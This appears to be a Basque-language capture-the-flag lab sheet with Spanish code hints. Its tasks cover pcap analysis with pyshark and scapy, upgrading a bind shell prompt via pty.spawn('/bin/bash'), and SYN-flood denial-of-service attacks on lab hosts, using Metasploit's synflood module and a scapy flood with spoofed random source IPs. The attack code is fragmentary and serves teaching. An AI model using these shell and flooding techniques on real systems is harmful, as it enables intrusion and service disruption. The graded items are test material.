# ERRONKA:

**Er1-UD4-Trafikoa**

# Enuntziatua:

Lortu egin dugu makina batzuen ahuleziak ustiatzea, eta orain ustiapen osteko hainbat eratako ekintzei ekingo diegu.  
Hasteko, pcap fitxategi batekin egin duzu topo. Ba al dago informazio esanguratsurik lortzea bertatik?

# Mugarriak:

**Er1-UD4-Mug1: 15 puntu**

Zein ordutan jaso genuen Kali makinaranzko lehenengo ICMP paketea 192.168.1.150 IPtik?  
Erabili Er1\_UD4\_Trafikoa\_Bat.py scripta  
ERANTZUNAREN FORMATUA: hh:mm:ss

**Er1-UD4-Mug2: 15 puntu**

Inprimatu pantailan 45.33.32.156 IPko 80 atakaranzko paketeak.   
Zein da 442 zenbakidun paketearen luzera?  
Erabili Er1\_UD4\_Trafikoa\_Bi.py scripta.

**Er1-UD4-Mug3: 20 puntu**

Inprimatu pantailan kali makinatik 22 atakaranzko paketeak.   
Zein da 430 zenbakidun paketearen helburu-IPa?  
Erabili Er1\_UD4\_Trafikoa\_Hiru.py scripta.

# Pistak:

**Er1-UD4-Mug1-Pista1: -3 puntu**

conversaciones = []  
 #Iteramos por cada elemento de la captura  
 for paquete in captura:

**Er1-UD4-Mug1-Pista2: -6 puntu**

resultado = conversacion\_red(???????)  
 #Si el string "resultado" no está vacío  
 if resultado is not None:  
 #Añadimos el string a la lista "conversaciones"  
 conversaciones.append(???????)

**Er1-UD4-Mug2-Pista 1: -3 puntu**

captura = pyshark.FileCapture(ruta\_fichero)  
 conversaciones = []  
  
**Er1-UD4-Mug2-Pista2: -6 puntu**

if direccion\_ip==paquete.ip.dst and int(puerto\_usuario)==int(paquete["TCP"].dstport):  
 resultado=conversacion\_red(??????)  
 conversaciones.append(???????)

**Er1-UD4-Mug3-Pista1: -5 puntu**

"main"-en:  
captura = rdpcap(????)  
analizar\_paquetes(xxx,yyyy,zzzz)

Er1-UD4-Mug3-Pista2: -7 puntu

if ip.src == ip\_src and tcp.dport == int(puerto\_dst):  
 fecha\_hora = paquete.????  
 fecha\_hora\_str = time.strftime("%d-%m-%Y %H:%M:%S", time.localtime(int(fecha\_hora)))  
 destino=ip.????

# ERRONKA:

**Er2-UD4-Egonkortu**

# Enuntziatua:

Aurreko fasean "BIND Shell" delakoa jarri genuen martxan, baina lortutako shell-aren propmt-a ez zen eguneratzen. Lortuko ahal duzu Prompt-a aldatzea kokatuta gauden direktorioaren arabera?

# Mugarriak:

**Er2-UD4-Mug1: 10 puntu**

Lortu 192.168.1.150 makinaren kontrola Bind Shell baten bidez.   
Zer karaktere-kate ikusten da promptean "cd .." komandoa exekutatu eta gero?  
ERANTZUNAREN ADIBIDEA:   
root@webserver:/home  
  
Oharra: Ez idatzi "#" karakterea!!!

# Pistak:

**Er2-UD4-Mug1-Pista1: -7 puntu**

pty.spawn("/bin/bash")

# ERRONKA:

**Er3-UD4-DOS**

# Enuntziatua:

192.168.1.200 IPan web gune bat dugu atzigarri. Segurtatua egongo al da DOS erasoen kontra?

# Mugarriak:

**Er3-UD4-Mug1: 15 puntu**

Exekutatu DOS eraso bat 192.168.1.200 IPko 80 atakaren kontra.   
Erabili Er3\_UD4\_DOS\_Bat.py scripta.   
Begiratu trafikoa WireShark-en.  
Ordenatu atalak esaldi zuzen gehien duenetik gutxien duenera:   
  
a) Web guneak atzigarri egoteari utzi dio; SYN pakete guztien jatorrizko IPa Kalirena da. Pakete guztien luzera 0 baino handiagoa da. .   
b) Web guneak atzigarri jarraitzen du etengabe; SYN paketeen jatorrizko IPak aldakorrak dira. Paketeen luzera 0 baino handiagoa da.   
c) Web guneak atzigarri egoteari utzi dio; SYN pakete guztien jatorrizko IPa berbera da, baina ez Kalirena. Paketeen luzera 0 da.   
d) Web guneak atzigarri egoteari utzi dio; SYN paketeen jatorrizko IPak aldakorrak dira. Paketeen luzera 0 da.   
  
Emaitzaren formatua: abcd

**Er3-UD4-Mug2: 25 puntu**

Exekutatu DOS eraso bat 192.168.1.200 IPko 80 atakaren kontra.   
Erabili Er3\_UD4\_DOS\_Bi.py scripta.   
Begiratu trafikoa WireShark-en.  
Ordenatu atalak esaldi zuzen gehien duenetik gutxien duenera:   
  
a) Web guneak atzigarri egoteari utzi dio; SYN pakete guztien jatorrizko IPa Kalirena da. Pakete guztien luzera 0 baino handiagoa da.   
b) Web guneak atzigarri jarraitzen du etengabe; SYN paketeen jatorrizko IPa berbera da. Paketeen luzera 0 baino handiagoa da.   
c) Web guneak atzigarri egoteari utzi dio; SYN pakete guztien jatorrizko IPa berbera da, baina ez Kalirena. Paketeen luzera 0 da.   
d) Web guneak atzigarri egoteari utzi dio; SYN paketeen jatorrizko IPak aldakorrak dira. Paketeen luzera 0 da.

# Pistak:

**Er3-UD4-Mug1-Pista1: -1 puntu**

p,puerto\_rpc,contrasena=solicitar\_datos\_usuario()

**Er3-UD4-Mug1-Pista2: -5 puntu**

cliente\_rpc = MsfRpcClient(contrasena, port=int(puerto\_rpc))  
exploit = cliente\_rpc.modules.use('auxiliary', 'dos/tcp/synflood')

**Er3-UD4-Mug1-Pista3: -3 puntu**

exploit.execute()  
 time.sleep(2)  
 print("Se está efectuando el SYN Flood")  
 input("Pulsa una tecla para detenerlo")  
 cliente\_rpc.logout()

**Er3-UD4-Mug2-Pista3: -6 puntu**

paquete\_TCP.sport = puerto\_origen  
 paquete\_TCP.dport = puerto\_destino  
 paquete\_TCP.flags = "S"  
 paquete\_TCP.seq = secuencia  
 paquete\_TCP.window = win

**Er3-UD4-Mug2-Pista2: -3 puntu**

paquete\_IP.src = obtener\_IP\_aleatoria()  
 paquete\_IP.dst = ip\_destino

**Er3-UD4-Mug2-Pista1: -3 puntu**

puerto\_origen = obtener\_entero\_aleatorio()  
 secuencia= obtener\_entero\_aleatorio()  
 win = obtener\_entero\_aleatorio()

**Er3-UD4-Mug2-Pista4: -3 puntu**

ip\_usuario,puerto\_usuario=solicitar\_datos\_usuario()  
 numero\_paquetes = input ("¿Cuántos paquetes quieres enviar?: ")  
 print("Se está efectuando el SYN Flood")  
 SYN\_Flood(ip\_usuario, int(puerto\_usuario),int(numero\_paquetes))